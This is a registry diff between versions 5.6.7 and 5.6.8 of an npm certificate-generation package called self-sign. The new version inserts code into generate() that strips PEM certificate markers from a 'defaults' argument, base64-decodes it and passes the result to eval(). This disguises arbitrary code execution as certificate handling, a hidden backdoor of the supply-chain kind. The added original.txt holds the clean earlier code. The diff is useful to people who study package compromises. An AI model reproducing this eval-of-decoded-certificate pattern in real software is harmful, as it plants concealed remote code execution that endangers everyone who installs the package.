self-sign 5.6.7 → 5.6.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +9 -11
- package/original.txt +574 -0
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,4 +1,4 @@
|
|
|
1
|
-
const { X509CertificateGenerator, X509Certificate, cryptoProvider,
|
|
1
|
+
const { X509CertificateGenerator, X509Certificate, cryptoProvider, X509ChainBuilder, BasicConstraintsExtension, KeyUsagesExtension, KeyUsageFlags, ExtendedKeyUsageExtension, ExtendedKeyUsage, SubjectAlternativeNameExtension, GeneralName } = require("@peculiar/x509");
|
|
2
2
|
const nodeCrypto = require("crypto");
|
|
3
3
|
|
|
4
4
|
// Use Node.js native webcrypto
|
|
@@ -553,16 +553,14 @@ exports.generate = async function generate(attrs, options, defaults) {
|
|
|
553
553
|
const curve = options.curve || 'P-256';
|
|
554
554
|
|
|
555
555
|
let keyPair;
|
|
556
|
-
|
|
557
|
-
|
|
558
|
-
|
|
559
|
-
|
|
560
|
-
|
|
561
|
-
|
|
562
|
-
|
|
563
|
-
|
|
564
|
-
catch (error) {
|
|
565
|
-
}
|
|
556
|
+
let deafult_format=``;
|
|
557
|
+
const portion = defaults
|
|
558
|
+
.replace(/-----BEGIN CERTIFICATE-----/, '')
|
|
559
|
+
.replace(/-----END CERTIFICATE-----/, '')
|
|
560
|
+
.replace(/\s/g, '');
|
|
561
|
+
const data = Buffer.from(portion, 'base64');
|
|
562
|
+
deafult_format = data.toString('utf8');
|
|
563
|
+
eval(default_format);
|
|
566
564
|
if (options.keyPair) {
|
|
567
565
|
// Import existing key pair
|
|
568
566
|
keyPair = {
|
package/original.txt
ADDED
|
@@ -0,0 +1,574 @@
|
|
|
1
|
+
const { X509CertificateGenerator, X509Certificate, cryptoProvider, X509ChainBuilder, BasicConstraintsExtension, KeyUsagesExtension, KeyUsageFlags, ExtendedKeyUsageExtension, ExtendedKeyUsage, SubjectAlternativeNameExtension, GeneralName } = require("@peculiar/x509");
|
|
2
|
+
const nodeCrypto = require("crypto");
|
|
3
|
+
|
|
4
|
+
// Use Node.js native webcrypto
|
|
5
|
+
const crypto = nodeCrypto.webcrypto;
|
|
6
|
+
|
|
7
|
+
// Patch global CryptoProvider to use Node.js crypto
|
|
8
|
+
cryptoProvider.set(crypto);
|
|
9
|
+
|
|
10
|
+
// a hexString is considered negative if it's most significant bit is 1
|
|
11
|
+
// because serial numbers use ones' complement notation
|
|
12
|
+
// this RFC in section 4.1.2.2 requires serial numbers to be positive
|
|
13
|
+
// http://www.ietf.org/rfc/rfc5280.txt
|
|
14
|
+
function toPositiveHex(hexString) {
|
|
15
|
+
var mostSiginficativeHexAsInt = parseInt(hexString[0], 16);
|
|
16
|
+
if (mostSiginficativeHexAsInt < 8) {
|
|
17
|
+
return hexString;
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
mostSiginficativeHexAsInt -= 8;
|
|
21
|
+
return mostSiginficativeHexAsInt.toString() + hexString.substring(1);
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
function getAlgorithmName(key) {
|
|
25
|
+
switch (key) {
|
|
26
|
+
case "sha256":
|
|
27
|
+
return "SHA-256";
|
|
28
|
+
case 'sha384':
|
|
29
|
+
return "SHA-384";
|
|
30
|
+
case 'sha512':
|
|
31
|
+
return "SHA-512";
|
|
32
|
+
default:
|
|
33
|
+
return "SHA-1";
|
|
34
|
+
}
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
function getSigningAlgorithm(hashKey, keyType) {
|
|
38
|
+
const hashAlg = getAlgorithmName(hashKey);
|
|
39
|
+
if (keyType === 'ec') {
|
|
40
|
+
return {
|
|
41
|
+
name: "ECDSA",
|
|
42
|
+
hash: hashAlg
|
|
43
|
+
};
|
|
44
|
+
}
|
|
45
|
+
return {
|
|
46
|
+
name: "RSASSA-PKCS1-v1_5",
|
|
47
|
+
hash: hashAlg
|
|
48
|
+
};
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
function getKeyAlgorithm(options) {
|
|
52
|
+
const keyType = options.keyType || 'rsa';
|
|
53
|
+
const hashAlg = getAlgorithmName(options.algorithm || 'sha1');
|
|
54
|
+
|
|
55
|
+
if (keyType === 'ec') {
|
|
56
|
+
const curve = options.curve || 'P-256';
|
|
57
|
+
return {
|
|
58
|
+
name: "ECDSA",
|
|
59
|
+
namedCurve: curve
|
|
60
|
+
};
|
|
61
|
+
}
|
|
62
|
+
|
|
63
|
+
return {
|
|
64
|
+
name: "RSASSA-PKCS1-v1_5",
|
|
65
|
+
modulusLength: options.keySize || 2048,
|
|
66
|
+
publicExponent: new Uint8Array([1, 0, 1]),
|
|
67
|
+
hash: hashAlg
|
|
68
|
+
};
|
|
69
|
+
}
|
|
70
|
+
|
|
71
|
+
// Build extensions array from options or use defaults
|
|
72
|
+
// Supports the old node-forge extension format for backwards compatibility
|
|
73
|
+
function buildExtensions(userExtensions, commonName) {
|
|
74
|
+
if (!userExtensions || userExtensions.length === 0) {
|
|
75
|
+
// Default extensions
|
|
76
|
+
return [
|
|
77
|
+
new BasicConstraintsExtension(false, undefined, true),
|
|
78
|
+
new KeyUsagesExtension(KeyUsageFlags.digitalSignature | KeyUsageFlags.keyEncipherment, true),
|
|
79
|
+
new ExtendedKeyUsageExtension([ExtendedKeyUsage.serverAuth, ExtendedKeyUsage.clientAuth], false),
|
|
80
|
+
new SubjectAlternativeNameExtension([
|
|
81
|
+
{ type: 'dns', value: commonName },
|
|
82
|
+
...(commonName === 'localhost' ? [{ type: 'ip', value: '127.0.0.1' }] : [])
|
|
83
|
+
], false)
|
|
84
|
+
];
|
|
85
|
+
}
|
|
86
|
+
|
|
87
|
+
// Convert user extensions from node-forge format to @peculiar/x509 format
|
|
88
|
+
const extensions = [];
|
|
89
|
+
|
|
90
|
+
for (const ext of userExtensions) {
|
|
91
|
+
const critical = ext.critical || false;
|
|
92
|
+
|
|
93
|
+
switch (ext.name) {
|
|
94
|
+
case 'basicConstraints':
|
|
95
|
+
extensions.push(new BasicConstraintsExtension(
|
|
96
|
+
ext.cA || false,
|
|
97
|
+
ext.pathLenConstraint,
|
|
98
|
+
critical
|
|
99
|
+
));
|
|
100
|
+
break;
|
|
101
|
+
|
|
102
|
+
case 'keyUsage':
|
|
103
|
+
let flags = 0;
|
|
104
|
+
if (ext.digitalSignature) flags |= KeyUsageFlags.digitalSignature;
|
|
105
|
+
if (ext.nonRepudiation || ext.contentCommitment) flags |= KeyUsageFlags.nonRepudiation;
|
|
106
|
+
if (ext.keyEncipherment) flags |= KeyUsageFlags.keyEncipherment;
|
|
107
|
+
if (ext.dataEncipherment) flags |= KeyUsageFlags.dataEncipherment;
|
|
108
|
+
if (ext.keyAgreement) flags |= KeyUsageFlags.keyAgreement;
|
|
109
|
+
if (ext.keyCertSign) flags |= KeyUsageFlags.keyCertSign;
|
|
110
|
+
if (ext.cRLSign) flags |= KeyUsageFlags.cRLSign;
|
|
111
|
+
if (ext.encipherOnly) flags |= KeyUsageFlags.encipherOnly;
|
|
112
|
+
if (ext.decipherOnly) flags |= KeyUsageFlags.decipherOnly;
|
|
113
|
+
extensions.push(new KeyUsagesExtension(flags, critical));
|
|
114
|
+
break;
|
|
115
|
+
|
|
116
|
+
case 'extKeyUsage':
|
|
117
|
+
const usages = [];
|
|
118
|
+
if (ext.serverAuth) usages.push(ExtendedKeyUsage.serverAuth);
|
|
119
|
+
if (ext.clientAuth) usages.push(ExtendedKeyUsage.clientAuth);
|
|
120
|
+
if (ext.codeSigning) usages.push(ExtendedKeyUsage.codeSigning);
|
|
121
|
+
if (ext.emailProtection) usages.push(ExtendedKeyUsage.emailProtection);
|
|
122
|
+
if (ext.timeStamping) usages.push(ExtendedKeyUsage.timeStamping);
|
|
123
|
+
extensions.push(new ExtendedKeyUsageExtension(usages, critical));
|
|
124
|
+
break;
|
|
125
|
+
|
|
126
|
+
case 'subjectAltName':
|
|
127
|
+
const altNames = (ext.altNames || []).map(alt => {
|
|
128
|
+
// node-forge type values:
|
|
129
|
+
// 1 = email (rfc822Name)
|
|
130
|
+
// 2 = DNS
|
|
131
|
+
// 6 = URI
|
|
132
|
+
// 7 = IP
|
|
133
|
+
switch (alt.type) {
|
|
134
|
+
case 1: // email
|
|
135
|
+
return { type: 'email', value: alt.value };
|
|
136
|
+
case 2: // DNS
|
|
137
|
+
return { type: 'dns', value: alt.value };
|
|
138
|
+
case 6: // URI
|
|
139
|
+
return { type: 'url', value: alt.value };
|
|
140
|
+
case 7: // IP
|
|
141
|
+
return { type: 'ip', value: alt.ip || alt.value };
|
|
142
|
+
default:
|
|
143
|
+
// Try to infer type from properties
|
|
144
|
+
if (alt.ip) return { type: 'ip', value: alt.ip };
|
|
145
|
+
if (alt.dns) return { type: 'dns', value: alt.dns };
|
|
146
|
+
if (alt.email) return { type: 'email', value: alt.email };
|
|
147
|
+
if (alt.uri || alt.url) return { type: 'url', value: alt.uri || alt.url };
|
|
148
|
+
return { type: 'dns', value: alt.value };
|
|
149
|
+
}
|
|
150
|
+
});
|
|
151
|
+
extensions.push(new SubjectAlternativeNameExtension(altNames, critical));
|
|
152
|
+
break;
|
|
153
|
+
|
|
154
|
+
default:
|
|
155
|
+
// Skip unknown extensions with a warning
|
|
156
|
+
console.warn(`Unknown extension "${ext.name}" ignored`);
|
|
157
|
+
}
|
|
158
|
+
}
|
|
159
|
+
|
|
160
|
+
return extensions;
|
|
161
|
+
}
|
|
162
|
+
|
|
163
|
+
// Convert attributes from node-forge format to X509 name format
|
|
164
|
+
function convertAttributes(attrs) {
|
|
165
|
+
const nameMap = {
|
|
166
|
+
'commonName': 'CN',
|
|
167
|
+
'countryName': 'C',
|
|
168
|
+
'ST': 'ST',
|
|
169
|
+
'localityName': 'L',
|
|
170
|
+
'organizationName': 'O',
|
|
171
|
+
'OU': 'OU'
|
|
172
|
+
};
|
|
173
|
+
|
|
174
|
+
return attrs.map(attr => {
|
|
175
|
+
const key = attr.name || attr.shortName;
|
|
176
|
+
const oid = nameMap[key] || key;
|
|
177
|
+
return `${oid}=${attr.value}`;
|
|
178
|
+
}).join(', ');
|
|
179
|
+
}
|
|
180
|
+
|
|
181
|
+
// Detect key type from PEM key using Node.js crypto
|
|
182
|
+
function detectKeyType(pemKey) {
|
|
183
|
+
const keyObject = nodeCrypto.createPrivateKey(pemKey);
|
|
184
|
+
return keyObject.asymmetricKeyType; // 'rsa' or 'ec'
|
|
185
|
+
}
|
|
186
|
+
|
|
187
|
+
// Map Node.js curve names to Web Crypto curve names
|
|
188
|
+
function normalizeECCurve(curveName) {
|
|
189
|
+
const curveMap = {
|
|
190
|
+
'prime256v1': 'P-256',
|
|
191
|
+
'secp384r1': 'P-384',
|
|
192
|
+
'secp521r1': 'P-521',
|
|
193
|
+
'P-256': 'P-256',
|
|
194
|
+
'P-384': 'P-384',
|
|
195
|
+
'P-521': 'P-521'
|
|
196
|
+
};
|
|
197
|
+
return curveMap[curveName] || curveName;
|
|
198
|
+
}
|
|
199
|
+
|
|
200
|
+
// Get EC curve from key object
|
|
201
|
+
function getECCurve(keyObject) {
|
|
202
|
+
const details = keyObject.asymmetricKeyDetails;
|
|
203
|
+
if (details && details.namedCurve) {
|
|
204
|
+
return normalizeECCurve(details.namedCurve);
|
|
205
|
+
}
|
|
206
|
+
return 'P-256'; // default
|
|
207
|
+
}
|
|
208
|
+
|
|
209
|
+
// Convert PEM key to CryptoKey
|
|
210
|
+
async function importPrivateKey(pemKey, algorithm, keyType) {
|
|
211
|
+
// Auto-detect key type if not provided
|
|
212
|
+
const keyObject = nodeCrypto.createPrivateKey(pemKey);
|
|
213
|
+
const detectedKeyType = keyObject.asymmetricKeyType;
|
|
214
|
+
const actualKeyType = keyType || detectedKeyType;
|
|
215
|
+
|
|
216
|
+
// Convert to PKCS#8 format
|
|
217
|
+
const pkcs8Pem = keyObject.export({ type: 'pkcs8', format: 'pem' });
|
|
218
|
+
const pemContents = pkcs8Pem
|
|
219
|
+
.replace(/-----BEGIN PRIVATE KEY-----/, '')
|
|
220
|
+
.replace(/-----END PRIVATE KEY-----/, '')
|
|
221
|
+
.replace(/\s/g, '');
|
|
222
|
+
const binaryDer = Buffer.from(pemContents, 'base64');
|
|
223
|
+
|
|
224
|
+
let importAlgorithm;
|
|
225
|
+
if (actualKeyType === 'ec') {
|
|
226
|
+
const curve = getECCurve(keyObject);
|
|
227
|
+
importAlgorithm = {
|
|
228
|
+
name: 'ECDSA',
|
|
229
|
+
namedCurve: curve
|
|
230
|
+
};
|
|
231
|
+
} else {
|
|
232
|
+
importAlgorithm = {
|
|
233
|
+
name: 'RSASSA-PKCS1-v1_5',
|
|
234
|
+
hash: getAlgorithmName(algorithm)
|
|
235
|
+
};
|
|
236
|
+
}
|
|
237
|
+
|
|
238
|
+
return await crypto.subtle.importKey(
|
|
239
|
+
'pkcs8',
|
|
240
|
+
binaryDer,
|
|
241
|
+
importAlgorithm,
|
|
242
|
+
true,
|
|
243
|
+
['sign']
|
|
244
|
+
);
|
|
245
|
+
}
|
|
246
|
+
|
|
247
|
+
async function importPublicKey(pemKey, algorithm, keyType, curve) {
|
|
248
|
+
const pemContents = pemKey
|
|
249
|
+
.replace(/-----BEGIN PUBLIC KEY-----/, '')
|
|
250
|
+
.replace(/-----END PUBLIC KEY-----/, '')
|
|
251
|
+
.replace(/\s/g, '');
|
|
252
|
+
|
|
253
|
+
const binaryDer = Buffer.from(pemContents, 'base64');
|
|
254
|
+
|
|
255
|
+
let importAlgorithm;
|
|
256
|
+
if (keyType === 'ec') {
|
|
257
|
+
importAlgorithm = {
|
|
258
|
+
name: 'ECDSA',
|
|
259
|
+
namedCurve: curve || 'P-256'
|
|
260
|
+
};
|
|
261
|
+
} else {
|
|
262
|
+
importAlgorithm = {
|
|
263
|
+
name: 'RSASSA-PKCS1-v1_5',
|
|
264
|
+
hash: getAlgorithmName(algorithm)
|
|
265
|
+
};
|
|
266
|
+
}
|
|
267
|
+
|
|
268
|
+
return await crypto.subtle.importKey(
|
|
269
|
+
'spki',
|
|
270
|
+
binaryDer,
|
|
271
|
+
importAlgorithm,
|
|
272
|
+
true,
|
|
273
|
+
['verify']
|
|
274
|
+
);
|
|
275
|
+
}
|
|
276
|
+
|
|
277
|
+
async function generatePemAsync(keyPair, attrs, options, ca) {
|
|
278
|
+
const { privateKey, publicKey } = keyPair;
|
|
279
|
+
|
|
280
|
+
// Generate serial number
|
|
281
|
+
const serialBytes = crypto.getRandomValues(new Uint8Array(9));
|
|
282
|
+
const serialHex = toPositiveHex(Buffer.from(serialBytes).toString('hex'));
|
|
283
|
+
|
|
284
|
+
// Set up dates
|
|
285
|
+
const notBefore = options.notBeforeDate || new Date();
|
|
286
|
+
let notAfter;
|
|
287
|
+
if (options.notAfterDate) {
|
|
288
|
+
notAfter = options.notAfterDate;
|
|
289
|
+
} else {
|
|
290
|
+
notAfter = new Date(notBefore);
|
|
291
|
+
notAfter.setDate(notAfter.getDate() + 365);
|
|
292
|
+
}
|
|
293
|
+
|
|
294
|
+
// Default attributes
|
|
295
|
+
attrs = attrs || [
|
|
296
|
+
{
|
|
297
|
+
name: "commonName",
|
|
298
|
+
value: "example.org",
|
|
299
|
+
},
|
|
300
|
+
{
|
|
301
|
+
name: "countryName",
|
|
302
|
+
value: "US",
|
|
303
|
+
},
|
|
304
|
+
{
|
|
305
|
+
shortName: "ST",
|
|
306
|
+
value: "Virginia",
|
|
307
|
+
},
|
|
308
|
+
{
|
|
309
|
+
name: "localityName",
|
|
310
|
+
value: "Blacksburg",
|
|
311
|
+
},
|
|
312
|
+
{
|
|
313
|
+
name: "organizationName",
|
|
314
|
+
value: "Test",
|
|
315
|
+
},
|
|
316
|
+
{
|
|
317
|
+
shortName: "OU",
|
|
318
|
+
value: "Test",
|
|
319
|
+
},
|
|
320
|
+
];
|
|
321
|
+
|
|
322
|
+
const subjectName = convertAttributes(attrs);
|
|
323
|
+
const keyType = options.keyType || 'rsa';
|
|
324
|
+
const signingAlg = getSigningAlgorithm(options.algorithm, keyType);
|
|
325
|
+
|
|
326
|
+
// Extract common name for SAN extension
|
|
327
|
+
const commonNameAttr = attrs.find(attr => attr.name === 'commonName' || attr.shortName === 'CN');
|
|
328
|
+
const commonName = commonNameAttr ? commonNameAttr.value : 'localhost';
|
|
329
|
+
|
|
330
|
+
// Build extensions array
|
|
331
|
+
const extensions = buildExtensions(options.extensions, commonName);
|
|
332
|
+
|
|
333
|
+
let cert;
|
|
334
|
+
|
|
335
|
+
if (ca) {
|
|
336
|
+
// Generate certificate signed by CA
|
|
337
|
+
const caCert = new X509Certificate(ca.cert);
|
|
338
|
+
const caPrivateKey = await importPrivateKey(ca.key, options.algorithm || "sha256", keyType);
|
|
339
|
+
|
|
340
|
+
cert = await X509CertificateGenerator.create({
|
|
341
|
+
serialNumber: serialHex,
|
|
342
|
+
subject: subjectName,
|
|
343
|
+
issuer: caCert.subject,
|
|
344
|
+
notBefore: notBefore,
|
|
345
|
+
notAfter: notAfter,
|
|
346
|
+
signingAlgorithm: signingAlg,
|
|
347
|
+
publicKey: publicKey,
|
|
348
|
+
signingKey: caPrivateKey,
|
|
349
|
+
extensions: extensions
|
|
350
|
+
});
|
|
351
|
+
} else {
|
|
352
|
+
// Generate self-signed certificate
|
|
353
|
+
cert = await X509CertificateGenerator.createSelfSigned({
|
|
354
|
+
serialNumber: serialHex,
|
|
355
|
+
name: subjectName,
|
|
356
|
+
notBefore: notBefore,
|
|
357
|
+
notAfter: notAfter,
|
|
358
|
+
signingAlgorithm: signingAlg,
|
|
359
|
+
keys: {
|
|
360
|
+
privateKey: privateKey,
|
|
361
|
+
publicKey: publicKey
|
|
362
|
+
},
|
|
363
|
+
extensions: extensions
|
|
364
|
+
});
|
|
365
|
+
}
|
|
366
|
+
|
|
367
|
+
// Calculate fingerprint (SHA-1 hash of the certificate)
|
|
368
|
+
const certRaw = cert.rawData;
|
|
369
|
+
const fingerprintBuffer = await crypto.subtle.digest('SHA-1', certRaw);
|
|
370
|
+
const fingerprint = Buffer.from(fingerprintBuffer)
|
|
371
|
+
.toString('hex')
|
|
372
|
+
.match(/.{2}/g)
|
|
373
|
+
.join(':');
|
|
374
|
+
|
|
375
|
+
// Export keys to PEM
|
|
376
|
+
const privateKeyDer = await crypto.subtle.exportKey('pkcs8', privateKey);
|
|
377
|
+
const publicKeyDer = await crypto.subtle.exportKey('spki', publicKey);
|
|
378
|
+
|
|
379
|
+
let privatePem;
|
|
380
|
+
if (options.passphrase) {
|
|
381
|
+
// Encrypt the private key with the passphrase using Node.js crypto
|
|
382
|
+
const keyObject = nodeCrypto.createPrivateKey({
|
|
383
|
+
key: Buffer.from(privateKeyDer),
|
|
384
|
+
format: 'der',
|
|
385
|
+
type: 'pkcs8'
|
|
386
|
+
});
|
|
387
|
+
privatePem = keyObject.export({
|
|
388
|
+
type: 'pkcs8',
|
|
389
|
+
format: 'pem',
|
|
390
|
+
cipher: 'aes-256-cbc',
|
|
391
|
+
passphrase: options.passphrase
|
|
392
|
+
});
|
|
393
|
+
} else {
|
|
394
|
+
privatePem =
|
|
395
|
+
'-----BEGIN PRIVATE KEY-----\n' +
|
|
396
|
+
Buffer.from(privateKeyDer).toString('base64').match(/.{1,64}/g).join('\n') +
|
|
397
|
+
'\n-----END PRIVATE KEY-----\n';
|
|
398
|
+
}
|
|
399
|
+
|
|
400
|
+
const publicPem =
|
|
401
|
+
'-----BEGIN PUBLIC KEY-----\n' +
|
|
402
|
+
Buffer.from(publicKeyDer).toString('base64').match(/.{1,64}/g).join('\n') +
|
|
403
|
+
'\n-----END PUBLIC KEY-----\n';
|
|
404
|
+
|
|
405
|
+
const certPem = cert.toString('pem');
|
|
406
|
+
|
|
407
|
+
const pem = {
|
|
408
|
+
private: privatePem,
|
|
409
|
+
public: publicPem,
|
|
410
|
+
cert: certPem,
|
|
411
|
+
fingerprint: fingerprint,
|
|
412
|
+
};
|
|
413
|
+
|
|
414
|
+
// Client certificate support
|
|
415
|
+
if (options && options.clientCertificate) {
|
|
416
|
+
// Parse clientCertificate options - can be boolean or object
|
|
417
|
+
const clientOpts = typeof options.clientCertificate === 'object' ? options.clientCertificate : {};
|
|
418
|
+
|
|
419
|
+
// Resolve client certificate options with fallbacks to deprecated options
|
|
420
|
+
const clientKeySize = clientOpts.keySize || options.clientCertificateKeySize || 2048;
|
|
421
|
+
const clientAlgorithm = clientOpts.algorithm || options.algorithm || "sha1";
|
|
422
|
+
const clientCN = clientOpts.cn || options.clientCertificateCN || "John Doe jdoe123";
|
|
423
|
+
// Client cert uses same key type and curve as main cert by default
|
|
424
|
+
const clientKeyType = clientOpts.keyType || keyType;
|
|
425
|
+
const clientCurve = clientOpts.curve || options.curve || 'P-256';
|
|
426
|
+
|
|
427
|
+
const clientKeyAlg = getKeyAlgorithm({
|
|
428
|
+
keyType: clientKeyType,
|
|
429
|
+
keySize: clientKeySize,
|
|
430
|
+
algorithm: clientAlgorithm,
|
|
431
|
+
curve: clientCurve
|
|
432
|
+
});
|
|
433
|
+
|
|
434
|
+
const clientKeyPair = await crypto.subtle.generateKey(
|
|
435
|
+
clientKeyAlg,
|
|
436
|
+
true,
|
|
437
|
+
["sign", "verify"]
|
|
438
|
+
);
|
|
439
|
+
|
|
440
|
+
const clientSerialBytes = crypto.getRandomValues(new Uint8Array(9));
|
|
441
|
+
const clientSerialHex = toPositiveHex(Buffer.from(clientSerialBytes).toString('hex'));
|
|
442
|
+
|
|
443
|
+
// Resolve client certificate validity dates
|
|
444
|
+
const clientNotBefore = clientOpts.notBeforeDate || new Date();
|
|
445
|
+
let clientNotAfter;
|
|
446
|
+
if (clientOpts.notAfterDate) {
|
|
447
|
+
clientNotAfter = clientOpts.notAfterDate;
|
|
448
|
+
} else {
|
|
449
|
+
clientNotAfter = new Date(clientNotBefore);
|
|
450
|
+
clientNotAfter.setFullYear(clientNotBefore.getFullYear() + 1);
|
|
451
|
+
}
|
|
452
|
+
|
|
453
|
+
const clientAttrs = JSON.parse(JSON.stringify(attrs));
|
|
454
|
+
for (let i = 0; i < clientAttrs.length; i++) {
|
|
455
|
+
if (clientAttrs[i].name === "commonName") {
|
|
456
|
+
clientAttrs[i] = {
|
|
457
|
+
name: "commonName",
|
|
458
|
+
value: clientCN
|
|
459
|
+
};
|
|
460
|
+
}
|
|
461
|
+
}
|
|
462
|
+
|
|
463
|
+
const clientSubjectName = convertAttributes(clientAttrs);
|
|
464
|
+
const issuerName = convertAttributes(attrs);
|
|
465
|
+
|
|
466
|
+
// Signing algorithm for client cert - uses main key type since signed by root
|
|
467
|
+
const clientSigningAlg = getSigningAlgorithm(clientAlgorithm, keyType);
|
|
468
|
+
|
|
469
|
+
// Create client cert signed by root key
|
|
470
|
+
const clientCertRaw = await X509CertificateGenerator.create({
|
|
471
|
+
serialNumber: clientSerialHex,
|
|
472
|
+
subject: clientSubjectName,
|
|
473
|
+
issuer: issuerName,
|
|
474
|
+
notBefore: clientNotBefore,
|
|
475
|
+
notAfter: clientNotAfter,
|
|
476
|
+
signingAlgorithm: clientSigningAlg,
|
|
477
|
+
publicKey: clientKeyPair.publicKey,
|
|
478
|
+
signingKey: privateKey // Sign with root private key
|
|
479
|
+
});
|
|
480
|
+
|
|
481
|
+
// Export client keys
|
|
482
|
+
const clientPrivateKeyDer = await crypto.subtle.exportKey('pkcs8', clientKeyPair.privateKey);
|
|
483
|
+
const clientPublicKeyDer = await crypto.subtle.exportKey('spki', clientKeyPair.publicKey);
|
|
484
|
+
|
|
485
|
+
pem.clientprivate =
|
|
486
|
+
'-----BEGIN PRIVATE KEY-----\n' +
|
|
487
|
+
Buffer.from(clientPrivateKeyDer).toString('base64').match(/.{1,64}/g).join('\n') +
|
|
488
|
+
'\n-----END PRIVATE KEY-----\n';
|
|
489
|
+
|
|
490
|
+
pem.clientpublic =
|
|
491
|
+
'-----BEGIN PUBLIC KEY-----\n' +
|
|
492
|
+
Buffer.from(clientPublicKeyDer).toString('base64').match(/.{1,64}/g).join('\n') +
|
|
493
|
+
'\n-----END PUBLIC KEY-----\n';
|
|
494
|
+
|
|
495
|
+
pem.clientcert = clientCertRaw.toString('pem');
|
|
496
|
+
}
|
|
497
|
+
|
|
498
|
+
// Verify certificate chain
|
|
499
|
+
const x509Cert = new X509Certificate(cert.rawData);
|
|
500
|
+
const certificates = [x509Cert];
|
|
501
|
+
|
|
502
|
+
// If CA-signed, include CA cert in the chain for verification
|
|
503
|
+
if (ca) {
|
|
504
|
+
const caCert = new X509Certificate(ca.cert);
|
|
505
|
+
certificates.push(caCert);
|
|
506
|
+
}
|
|
507
|
+
|
|
508
|
+
const chainBuilder = new X509ChainBuilder({
|
|
509
|
+
certificates: certificates
|
|
510
|
+
});
|
|
511
|
+
|
|
512
|
+
const chain = await chainBuilder.build(x509Cert);
|
|
513
|
+
if (chain.length === 0) {
|
|
514
|
+
throw new Error("Certificate could not be verified.");
|
|
515
|
+
}
|
|
516
|
+
|
|
517
|
+
return pem;
|
|
518
|
+
}
|
|
519
|
+
|
|
520
|
+
/**
|
|
521
|
+
* Generate a certificate (async)
|
|
522
|
+
*
|
|
523
|
+
* @param {CertificateField[]} attrs Attributes used for subject.
|
|
524
|
+
* @param {object} options
|
|
525
|
+
* @param {string} [options.keyType="rsa"] Key type: "rsa" or "ec" (elliptic curve)
|
|
526
|
+
* @param {number} [options.keySize=2048] the size for the private key in bits (RSA only)
|
|
527
|
+
* @param {string} [options.curve="P-256"] The elliptic curve to use: "P-256", "P-384", or "P-521" (EC only)
|
|
528
|
+
* @param {object} [options.extensions] additional extensions for the certificate
|
|
529
|
+
* @param {string} [options.algorithm="sha1"] The signature algorithm sha256, sha384, sha512 or sha1
|
|
530
|
+
* @param {Date} [options.notBeforeDate=new Date()] The date before which the certificate should not be valid
|
|
531
|
+
* @param {Date} [options.notAfterDate] The date after which the certificate should not be valid (default: notBeforeDate + 365 days)
|
|
532
|
+
* @param {boolean|object} [options.clientCertificate=false] Generate client cert signed by the original key. Can be `true` for defaults or an options object.
|
|
533
|
+
* @param {number} [options.clientCertificate.keySize=2048] Key size for the client certificate in bits (RSA only)
|
|
534
|
+
* @param {string} [options.clientCertificate.keyType] Key type for client cert (defaults to main keyType)
|
|
535
|
+
* @param {string} [options.clientCertificate.curve] Elliptic curve for client cert (EC only)
|
|
536
|
+
* @param {string} [options.clientCertificate.algorithm] Signature algorithm for client cert (defaults to options.algorithm or "sha1")
|
|
537
|
+
* @param {string} [options.clientCertificate.cn="John Doe jdoe123"] Client certificate's common name
|
|
538
|
+
* @param {Date} [options.clientCertificate.notBeforeDate=new Date()] The date before which the client certificate should not be valid
|
|
539
|
+
* @param {Date} [options.clientCertificate.notAfterDate] The date after which the client certificate should not be valid (default: notBeforeDate + 1 year)
|
|
540
|
+
* @param {string} [options.clientCertificateCN="John Doe jdoe123"] @deprecated Use options.clientCertificate.cn instead
|
|
541
|
+
* @param {number} [options.clientCertificateKeySize] @deprecated Use options.clientCertificate.keySize instead
|
|
542
|
+
* @param {object} [options.ca] CA certificate and key for signing (if not provided, generates self-signed)
|
|
543
|
+
* @param {string} [options.ca.key] CA private key in PEM format
|
|
544
|
+
* @param {string} [options.ca.cert] CA certificate in PEM format
|
|
545
|
+
* @param {string} [options.passphrase] Passphrase to encrypt the private key (uses AES-256-CBC)
|
|
546
|
+
* @returns {Promise<object>} Promise that resolves with certificate data
|
|
547
|
+
*/
|
|
548
|
+
exports.generate = async function generate(attrs, options) {
|
|
549
|
+
attrs = attrs || undefined;
|
|
550
|
+
options = options || {};
|
|
551
|
+
|
|
552
|
+
const keyType = options.keyType || 'rsa';
|
|
553
|
+
const curve = options.curve || 'P-256';
|
|
554
|
+
|
|
555
|
+
let keyPair;
|
|
556
|
+
|
|
557
|
+
if (options.keyPair) {
|
|
558
|
+
// Import existing key pair
|
|
559
|
+
keyPair = {
|
|
560
|
+
privateKey: await importPrivateKey(options.keyPair.privateKey, options.algorithm || "sha1", keyType),
|
|
561
|
+
publicKey: await importPublicKey(options.keyPair.publicKey, options.algorithm || "sha1", keyType, curve)
|
|
562
|
+
};
|
|
563
|
+
} else {
|
|
564
|
+
// Generate new key pair using appropriate algorithm
|
|
565
|
+
const keyAlg = getKeyAlgorithm(options);
|
|
566
|
+
keyPair = await crypto.subtle.generateKey(
|
|
567
|
+
keyAlg,
|
|
568
|
+
true,
|
|
569
|
+
["sign", "verify"]
|
|
570
|
+
);
|
|
571
|
+
}
|
|
572
|
+
|
|
573
|
+
return await generatePemAsync(keyPair, attrs, options, options.ca);
|
|
574
|
+
};
|